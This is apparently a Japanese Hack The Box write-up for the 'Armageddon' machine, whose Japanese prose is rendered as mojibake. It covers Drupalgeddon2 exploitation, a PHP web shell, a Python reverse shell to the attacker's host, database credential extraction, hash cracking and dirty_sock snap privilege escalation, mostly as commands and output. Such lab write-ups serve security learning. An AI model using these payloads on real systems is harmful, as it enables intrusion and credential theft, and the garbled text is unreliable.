åµå¯ï¼ã¹ãã£ã³
nmapã§ã¹ãã£ã³ãã¾ãã
âââ(kaliã¿kali)-[~] ââ$ nmap -T4 -P0 -sC -sV -A -p- 10.10.10.233 Starting Nmap 7.92 ( https://nmap.org ) Nmap scan report for 10.10.10.233 Host is up (0.23s latency). Not shown: 65533 closed tcp ports (conn-refused) PORT  STATE SERVICE VERSION 22/tcp open ssh    OpenSSH 7.4 (protocol 2.0) | ssh-hostkey: |  2048 82:c6:bb:c7:02:6a:93:bb:7c:cb:dd:9c:30:93:79:34 (RSA) |  256 3a:ca:95:30:f3:12:d7:ca:45:05:bc:c7:f1:16:bb:fc (ECDSA) |_ 256 7a:d4:b3:68:79:cf:62:8a:7d:5a:61:e7:06:0f:5f:33 (ED25519) 80/tcp open http   Apache httpd 2.4.6 ((CentOS) PHP/5.4.16) | http-robots.txt: 36 disallowed entries (15 shown) | /includes/ /misc/ /modules/ /profiles/ /scripts/ | /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt | /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt |_/LICENSE.txt /MAINTAINERS.txt |_http-generator: Drupal 7 (http://drupal.org) |_http-title: Welcome to Armageddon | Armageddon |_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
Â
ãªããdroopescanã§ã¯ãã¼ã¸ã§ã³ã7.56ã§ãããã¨ããããã¾ãã
âââ(kaliã¿kali)-[~/droopescan] ââ$ ./droopescan scan drupal -u http://10.10.10.233Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â [+] Plugins found:Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â profile http://10.10.10.233/modules/profile/ Â Â Â php http://10.10.10.233/modules/php/ Â Â Â image http://10.10.10.233/modules/image/ [+] Themes found: Â Â Â seven http://10.10.10.233/themes/seven/ Â Â Â garland http://10.10.10.233/themes/garland/
[+] Possible version(s): Â Â Â 7.56 [+] Possible interesting urls found: Â Â Â Default changelog file - http://10.10.10.233/CHANGELOG.txt
â»è£è¶³ï¼droopescanã®ã¤ã³ã¹ãã¼ã«
git clone https://github.com/droope/droopescan.git cd droopescan pip install -r requirements.txt
Hack The Boxã§ã¯ååããã³ãã«ãªã£ã¦ãããã¨ãããã¾ãããDrupalã®Exploitãæ¤ç´¢ããã¨ä»åã®ãã¼ã¸ã§ã³ã該å½ããèå¼±æ§ãè¦ã¤ããã¾ããã
âââ(kaliã¿kali)-[~] ââ$ searchsploit drupal ------------------------------------------------------------------------------------------- --------------------------------- Exploit Title | Path ------------------------------------------------------------------------------------------- --------------------------------- Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution | php/webapps/44449.rb
Â
åèï¼CVE-2018-7600ï¼Drupalgeddon2ï¼
https://www.mbsd.jp/Whitepaper/CVE-2018-7600.pdf
Â
ã¢ã¯ã»ã¹åå¾
ä¸è¨ã®exploitãå®è¡ãã¦ã¿ã¾ãã
âââ(kaliã¿kali)-[~] ââ$ searchsploit -m 44449 Exploit: Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution URL: https://www.exploit-db.com/exploits/44449 Path: /usr/share/exploitdb/exploits/php/webapps/44449.rb File Type: Ruby script, ASCII text Copied to: /home/kali/44449.rb âââ(kaliã¿kali)-[~] ââ$ ruby 44449.rb http://10.10.10.233 [*] --==[::#Drupalggedon2::]==-- -------------------------------------------------------------------------------- [i] Target : http://10.10.10.233/ -------------------------------------------------------------------------------- [+] Found : http://10.10.10.233/CHANGELOG.txt (HTTP Response: 200) [+] Drupal!: v7.56 -------------------------------------------------------------------------------- [*] Testing: Form (user/password) [+] Result : Form valid - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - [*] Testing: Clean URLs [!] Result : Clean URLs disabled (HTTP Response: 404) [i] Isn't an issue for Drupal v7.x -------------------------------------------------------------------------------- [*] Testing: Code Execution (Method: name) [i] Payload: echo YLCIJKNM [+] Result : YLCIJKNM [+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO! -------------------------------------------------------------------------------- [*] Testing: Existing file (http://10.10.10.233/shell.php) [i] Response: HTTP 404 // Size: 5 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - [*] Testing: Writing To Web Root (./) [i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee shell.php [+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); } [+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!! -------------------------------------------------------------------------------- [i] Fake PHP shell: curl 'http://10.10.10.233/shell.php' -d 'c=hostname' armageddon.htb>> whoami apache
Â
ãapacheãã®ã¦ã¼ã¶ã§ã¢ã¯ã»ã¹ãåå¾ã§ãã¾ããã
â»å®è¡æã«ä»¥ä¸ã®ãããªã¨ã©ã¼ãåºãå ´åã¯å¿ è¦ãªããã±ã¼ã¸ãã¤ã³ã¹ãã¼ã«ããã¦ããªãå ´åãããããããsudo gem install highlineãå®è¡ã§ä¾åé¢ä¿ã®åé¡ã解æ¶ã§ããã¾ãã
highline/import (LoadError)
Â
ãã®ã¨ã¯ã¹ããã¤ãã§ã¯ããã£ã¬ã¯ããªç§»åãªã©ãã§ããªãã£ããããPythonã§ã·ã§ã«ãåå¾ãã¾ãã
åå¾ããã¿ã¼ããã«ã§å®è¡
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.5",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Kaliã®å¾ ã¡åã âââ(kaliã¿kali)-[~] ââ$ sudo nc -nvlp 4444 148 ⨯ 1 â listening on [any] 4444 ... connect to [10.10.16.5] from (UNKNOWN) [10.10.10.233] 43634 sh: no job control in this shell sh-4.2$ export PS1="[\u@\t \w]\$ " export PS1="[\u@\t \w]\$ " [apache@01:46:36 /var/www/html]$
Â
ç¹æ¨©ææ ¼
Drupalã¯/sites/default/settings.phpã«ãã¼ã¿ãã¼ã¹ã®æ¥ç¶æ å ±çãããããã§ãã
Â
mysqlã®æ¥ç¶æ
å ±ãè¦ãã¾ããã
ä¸è¨ã®æ
å ±ã使ã£ã¦ãMySQLå
ã®ã¦ã¼ã¶æ
å ±ãè¦ã¦ã¿ã¾ãã
[apache@02:07:53 /var/www/html/sites/default]$ mysql -u drupaluser -pCQHEy@9M*m23gBVj -D drupal -e 'show tables;' <-u drupaluser -pCQHEy@9M*m23gBVj -D drupal -e 'show tables;' Tables_in_drupal actions authmap batch block block_custom block_node_type block_role blocked_ips cache cache_block cache_bootstrap cache_field cache_filter cache_form cache_image cache_menu cache_page cache_path comment date_format_locale date_format_type date_formats field_config field_config_instance field_data_body field_data_comment_body field_data_field_image field_data_field_tags field_revision_body field_revision_comment_body field_revision_field_image field_revision_field_tags file_managed file_usage filter filter_format flood history image_effects image_styles menu_custom menu_links menu_router node node_access node_comment_statistics node_revision node_type queue rdf_mapping registry registry_file role role_permission search_dataset search_index search_node_links search_total semaphore sequences sessions shortcut_set shortcut_set_users system taxonomy_index taxonomy_term_data taxonomy_term_hierarchy taxonomy_vocabulary url_alias users users_roles variable watchdog
ããã«ãusersãã®ä¸èº«ãè¦ã¦ã¿ãã¨ããbrucetherealadminãã¨ããã¦ã¼ã¶ããããã¨ã確èªã§ãã¾ããã
[apache@02:21:11 /var/www/html/sites/default]$ mysql -u drupaluser -pCQHEy@9M*m23gBVj -D drupal -e 'select * from users;' <-u drupaluser -pCQHEy@9M*m23gBVj -D drupal -e 'select * from users;' uid name pass mail theme signature signature_format created access login status timezone language picture init data 0 NULL 0 0 0 0 NULL 0 NULL 1 brucetherealadmin $S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt [email protected] filtered_html 1606998756 1607077194 1607076276 1 Europe/London 0 [email protected] a:1:{s:7:"overlay";i:1;}
ãã®ã¦ã¼ã¶ã¯ãã¼ã«ã«ã«ãåå¨ããããã§ãã
[apache@02:29:40 /home]$ ls ./brucetherealadmin ls ./brucetherealadmin ls: cannot open directory ./brucetherealadmin: Permission denied [apache@02:35:55 /home]$ ls /home/bruce ls /home/bruce ls: cannot access /home/bruce: No such file or directory
brucetherealadminã®ãã¹ã¯ã¼ãã解æãã¦ã¿ã¾ãã
âââ(kaliã¿kali)-[~] ââ$ john --wordlist=./rockyou.txt pwd Created directory: /home/kali/.john Using default input encoding: UTF-8 Loaded 1 password hash (Drupal7, $S$ [SHA512 256/256 AVX2 4x]) Cost 1 (iteration count) is 32768 for all loaded hashes Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status booboo (?) 1g 0:00:00:00 DONE (2022-08-22 23:26) 2.127g/s 510.6p/s 510.6c/s 510.6C/s tiffany..chris Use the "--show" option to display all of the cracked passwords reliably Session completed.
â»è£è¶³ï¼hashcatã®å ´å
sudo hashcat -m 7900 pwd ./rockyou.txt --force
ãbrucetherealadminãã®ãã¹ã¯ã¼ãããboobooãã§ãããã¨ããããã¾ããã
ãã®ã¢ã«ã¦ã³ãæ å ±ã§SSHæ¥ç¶ãã¦ã¿ã¾ãã
ä¸è¨ã¦ã¼ã¶ã¯snapã³ãã³ããå®è¡ã§ããããã§ãã
ãsnap privilege escalationãçã§æ¤ç´¢ãã¦ã¿ãã¨ãdirty_sockãã¨ããæ å ±ãè¦ã¤ããã¾ãã
ä¸è¨ã®ã³ã¼ãã¯python3ã§åä½ãããã®ã§ããã®ã¾ã¾ã§ã¯ä½¿ç¨ã§ãã¾ããã
ãã®ããã³ã¼ãã®ä¸èº«ãä¸é¨æãåã£ã¦ä½¿ç¨ãã¦ã¿ã¾ãã
[brucetherealadmin@armageddon ~]$ python --version Python 2.7.5 [brucetherealadmin@armageddon ~]$ python -c print'"aHNxcwcAAAAQIVZcAAACAAAAAAAEABEA0AIBAAQAAADgAAAAAAAAAI4DAAAAAAAAhgMAAAAAAAD//////////xICAAAAAAAAsAIAAAAAAAA+AwAAAAAAAHgDAAAAAAAAIyEvYmluL2Jhc2gKCnVzZXJhZGQgZGlydHlfc29jayAtbSAtcCAnJDYkc1daY1cxdDI1cGZVZEJ1WCRqV2pFWlFGMnpGU2Z5R3k5TGJ2RzN2Rnp6SFJqWGZCWUswU09HZk1EMXNMeWFTOTdBd25KVXM3Z0RDWS5mZzE5TnMzSndSZERoT2NFbURwQlZsRjltLicgLXMgL2Jpbi9iYXNoCnVzZXJtb2QgLWFHIHN1ZG8gZGlydHlfc29jawplY2hvICJkaXJ0eV9zb2NrICAgIEFMTD0oQUxMOkFMTCkgQUxMIiA+PiAvZXRjL3N1ZG9lcnMKbmFtZTogZGlydHktc29jawp2ZXJzaW9uOiAnMC4xJwpzdW1tYXJ5OiBFbXB0eSBzbmFwLCB1c2VkIGZvciBleHBsb2l0CmRlc2NyaXB0aW9uOiAnU2VlIGh0dHBzOi8vZ2l0aHViLmNvbS9pbml0c3RyaW5nL2RpcnR5X3NvY2sKCiAgJwphcmNoaXRlY3R1cmVzOgotIGFtZDY0CmNvbmZpbmVtZW50OiBkZXZtb2RlCmdyYWRlOiBkZXZlbAqcAP03elhaAAABaSLeNgPAZIACIQECAAAAADopyIngAP8AXF0ABIAerFoU8J/e5+qumvhFkbY5Pr4ba1mk4+lgZFHaUvoa1O5k6KmvF3FqfKH62aluxOVeNQ7Z00lddaUjrkpxz0ET/XVLOZmGVXmojv/IHq2fZcc/VQCcVtsco6gAw76gWAABeIACAAAAaCPLPz4wDYsCAAAAAAFZWowA/Td6WFoAAAFpIt42A8BTnQEhAQIAAAAAvhLn0OAAnABLXQAAan87Em73BrVRGmIBM8q2XR9JLRjNEyz6lNkCjEjKrZZFBdDja9cJJGw1F0vtkyjZecTuAfMJX82806GjaLtEv4x1DNYWJ5N5RQAAAEDvGfMAAWedAQAAAPtvjkc+MA2LAgAAAAABWVo4gIAAAAAAAAAAPAAAAAAAAAAAAAAAAAAAAFwAAAAAAAAAwAAAAAAAAACgAAAAAAAAAOAAAAAAAAAAPgMAAAAAAAAEgAAAAACAAw"+ "A" * 4256 + "=="' | base64 --decode > exploit.snap [brucetherealadmin@armageddon ~]$ ls army.snap exploit.snap user.txt xxxx_1.0_all.snap [brucetherealadmin@armageddon ~]$ sudo /usr/bin/snap install --dangerous --devmode exploit.snap dirty-sock 0.1 installed [brucetherealadmin@armageddon ~]$ tail /etc/passwd nobody:x:99:99:Nobody:/:/sbin/nologin systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin dbus:x:81:81:System message bus:/:/sbin/nologin polkitd:x:999:998:User for polkitd:/:/sbin/nologin sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin postfix:x:89:89::/var/spool/postfix:/sbin/nologin apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin mysql:x:27:27:MariaDB Server:/var/lib/mysql:/sbin/nologin brucetherealadmin:x:1000:1000::/home/brucetherealadmin:/bin/bash dirty_sock:x:1001:1001::/home/dirty_sock:/bin/bash [brucetherealadmin@armageddon ~]$ su dirty_sock ãã¹ã¯ã¼ã: [dirty_sock@armageddon brucetherealadmin]$ sudo -i ããªãã¯ã·ã¹ãã 管çè ããé常ã®è¬ç¿ãåããã¯ãã§ãã ããã¯é常ã以ä¸ã®3ç¹ã«è¦ç´ããã¾ã: #1) ä»äººã®ãã©ã¤ãã·ã¼ãå°éãããã¨ã #2) ã¿ã¤ãããåã«èãããã¨ã #3) 大ããªãåã«ã¯å¤§ããªã責任ãä¼´ããã¨ã [sudo] dirty_sock ã®ãã¹ã¯ã¼ã: [root@armageddon ~]#
rootãåå¾ã§ãã¾ããã
â»rootã¾ã§åå¾ããã£ã¦ã¿ã¾ããããä¸è¨ã®ç¹æ¨©ææ ¼ã®é¨åã¯èªåã®ä¸ã§æ´çãããã¦ãã¾ããããã
Â
åèã«ããã¦ããã ãããµã¤ã
è²´éãªæ å ±ããããã¨ããããã¾ãã
Â